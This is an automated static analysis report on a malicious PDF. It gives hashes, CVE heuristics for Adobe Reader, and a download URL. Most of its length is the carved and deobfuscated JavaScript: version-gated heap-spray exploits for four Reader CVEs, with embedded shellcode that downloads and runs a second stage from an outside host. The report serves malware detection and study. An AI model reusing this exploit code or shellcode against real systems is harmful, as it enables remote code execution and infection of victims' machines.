Malicious PDF — malware analysis report

Static analysis result for SHA-256 7b5eceb2adfd2332…

MALICIOUS

PDF

12.4 KB
MD5: f22771398517c732c150ec2a32d6d68d SHA-1: 83378ae78bd3467b5d2085f6f4b99ad20a3e2f89 SHA-256: 7b5eceb2adfd23320c045a7e47a6681c6c63ed662573413d7e8bfe6688cdebe6
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader. The recovered JavaScript code indicates that it downloads a second-stage payload from the URL http://thechinalove.info/w.php?f=18&e=5. This is a common technique for delivering further malicious content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://thechinalove.info/w.php?f=18&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js
caf5e7273273fc6d91767a1cb8fa03b3d1ff006a7b97ee8002c5c6ad1f42bdcf		 pdf-javascript-stream PDF /JS object 76 at offset 0x3A9 11503 bytes
Preview script
First 1,000 lines of the extracted script
w='s';
w+="l";
w+='i';
w+="ce";
j='b343tb3g';
j=j[w];
z=[45,34,38,27,14,68,10,32,7,47,49,31,6,30,51,51,49,31,23,48,50,12,49,31,6,20,23,48,49,31,62,20,50,12,49,31,50,67,30,12,49,31,30,30,20,23,49,31,51,12,48,40,49,31,12,40,6,14,49,31,6,14,30,40,49,31,40,48,12,40,49,31,62,40,6,14,49,31,20,51,9,48,49,31,62,51,6,14,49,31,30,30,40,6,49,31,51,51,41,14,49,31,20,50,6,14,49,31,40,30,30,48,49,31,30,30,62,12,49,31,6,9,54,48,49,31,9,20,50,50,49,31,23,23,9,40,49,31,14,6,23,23,49,31,12,40,6,14,49,31,48,30,30,40,49,31,30,67,12,51,49,31,62,20,40,51,49,31,6,62,23,14,49,31,54,12,30,12,49,31,50,12,6,20,49,31,20,9,62,20,49,31,50,14,50,67,49,31,20,9,12,48,49,31,6,14,20,51,49,31,30,48,62,20,49,31,62,12,6,14,49,31,62,6,30,20,49,31,23,20,40,30,49,31,6,14,20,51,49,31,54,40,62,51,49,31,23,20,40,30,49,31,48,67,30,30,49,31,12,9,12,67,49,31,34,41,23,48,49,31,48,20,40,30,49,31,41,14,30,30,49,31,14,50,40,23,49,31,30,6,9,40,49,31,62,12,23,54,49,31,48,9,40,6,49,31,40,41,48,14,49,31,41,34,40,30,49,31,50,14,12,40,49,31,30,14,23,9,49,31,62,20,9,23,49,31,20,50,50,51,49,31,20,50,6,14,49,31,40,30,54,12,49,31,51,51,41,41,49,31,40,48,6,14,49,31,6,41,12,14,49,31,50,48,12,51,49,31,20,12,23,23,49,31,40,48,54,12,49,31,41,6,6,14,49,31,41,41,40,30,49,31,40,12,6,14,49,31,40,30,6,14,49,31,34,14,48,20,49,31,20,67,20,50,49,31,50,14,48,30,49,31,34,41,20,30,49,31,51,6,6,14,49,31,6,40,54,40,49,31,40,48,62,41,49,31,62,12,30,30,49,31,67,51,40,30,49,31,23,30,50,14,49,31,51,6,6,14,49,31,6,14,40,6,49,31,51,34,23,62,49,31,20,67,40,20,49,31,67,6,50,6,49,31,23,23,23,23,49,31,50,54,23,23,49,31,50,6,23,67,49,31,40,40,40,40,49,31,40,40,40,40,49,31,20,40,20,6,49,31,12,40,51,34,49,31,23,23,51,6,49,31,40,40,40,40,49,31,20,40,40,40,49,31,48,40,6,30,49,31,20,40,9,67,49,31,6,14,20,20,49,31,6,14,50,48,49,31,9,40,20,50,49,31,48,30,6,30,49,31,23,23,40,20,49,31,51,6,50,30,49,31,51,50,51,23,49,31,40,40,40,40,49,31,62,20,51,6,49,31,51,48,62,54,49,31,20,12,51,41,49,31,9,51,23,23,49,31,48,12,6,30,49,31,6,14,40,6,49,31,50,6,50,6,49,31,23,23,51,9,49,31,23,23,23,23,49,31,40,54,50,14,49,31,62,54,50,14,49,31,50,48,6,9,49,31,40,9,40,12,49,31,40,40,40,40,49,31,20,48,6,41,49,31,40,48,54,12,49,31,40,12,48,62,49,31,62,54,54,12,49,31,51,62,51,20,49,31,48,62,62,30,49,31,54,12,12,12,49,31,62,51,40,12,49,31,30,30,62,54,49,31,48,62,30,54,49,31,54,12,12,12,49,31,54,40,40,6,49,31,62,30,54,41,49,31,20,30,54,40,49,31,23,6,51,6,49,31,40,40,40,40,49,31,23,23,40,40,49,31,40,48,20,51,49,31,50,6,6,14,49,31,48,67,30,30,49,31,48,62,20,9,49,31,9,41,12,12,49,31,62,62,40,40,49,31,51,54,62,40,49,31,48,62,62,12,49,31,9,41,12,12,49,31,54,50,40,20,49,31,51,48,51,12,49,31,48,51,51,48,49,31,9,41,12,12,49,31,40,40,40,67,49,31,6,34,20,67,49,31,40,12,48,9,49,31,6,6,30,40,49,31,9,41,12,12,49,31,12,9,40,12,49,31,51,34,20,9,49,31,51,34,40,40,49,31,20,30,40,40,49,31,51,34,20,62,49,31,23,23,40,40,49,31,9,12,20,51,49,31,48,40,6,20,49,31,9,51,62,20,49,31,40,40,51,34,49,31,23,23,20,30,49,31,40,12,20,51,49,31,40,40,51,34,49,31,50,14,6,30,49,31,20,30,40,48,49,31,20,51,23,23,49,31,6,30,40,12,49,31,40,48,48,30,49,31,40,54,50,14,49,31,9,30,50,14,49,31,6,40,12,62,49,31,40,40,30,23,49,31,23,34,62,20,49,31,6,40,12,62,49,31,40,40,30,23,49,31,48,12,62,20,49,31,40,40,51,34,49,31,23,50,51,34,49,31,20,51,23,23,49,31,50,6,40,6,49,31,23,50,67,48,49,31,23,23,23,23,49,31,12,50,6,50,49,31,50,48,40,50,49,31,23,50,67,6,49,31,40,50,6,34,49,31,51,23,6,67,49,31,14,41,40,9,49,31,48,34,30,30,49,31,20,14,6,34,49,31,48,51,9,14,49,31,62,67,12,51,49,31,9,34,30,51,49,31,62,40,54,23,49,31,62,12,51,6,49,31,62,40,62,12,49,31,54,23,30,34,49,31,62,12,54,23,49,31,51,20,51,6,49,31,51,6,51,30,49,31,51,50,51,67,49,31,51,48,51,9,49,31,62,51,51,23,49,31,54,50,51,20,49,31,51,50,51,67,49,31,51,23,51,51,49,31,62,62,54,23,49,31,62,40,54,50,49,31,62,40,51,6,49,31,51,51,30,23,49,31,30,9,30,41,49,31,54,51,30,6,49,31,30,41,51,20,49,31,40,40,30,20,49,31,40,40,40,40,47,65,23,31,21,48,57,60,52,21,27,50,15,45,38,69,38,34,63,72,25,42,61,43,58,60,18,50,69,38,34,74,18,50,21,32,57,58,70,54,5,72,25,42,61,38,34,26,7,38,34,65,2,38,34,7,38,34,74,10,31,14,10,57,38,60,21,32,69,40,63,72,25,24,54,42,6
... (truncated)
generic_stage_recovery_000.js
d1b53309723daf96c05194bb4cfd6e42898cf5cf2bcbf8521943d4c3de684c8c		 deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x3A9 3864 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u742f%u6568%u6863%u6e69%u6c61%u766f%u2e65%u6e69%u6f66%u772f%u702e%u7068%u663f%u313d%u2638%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js
5b52c1004393e9ba291985d52fbbf71b3d37a9491eb9eaf66c093ca54e9b6ced		 deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x3A9 3860 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u742f%u6568%u6863%u6e69%u6c61%u766f%u2e65%u6e69%u6f66%u772f%u702e%u7068%u663f%u313d%u2638%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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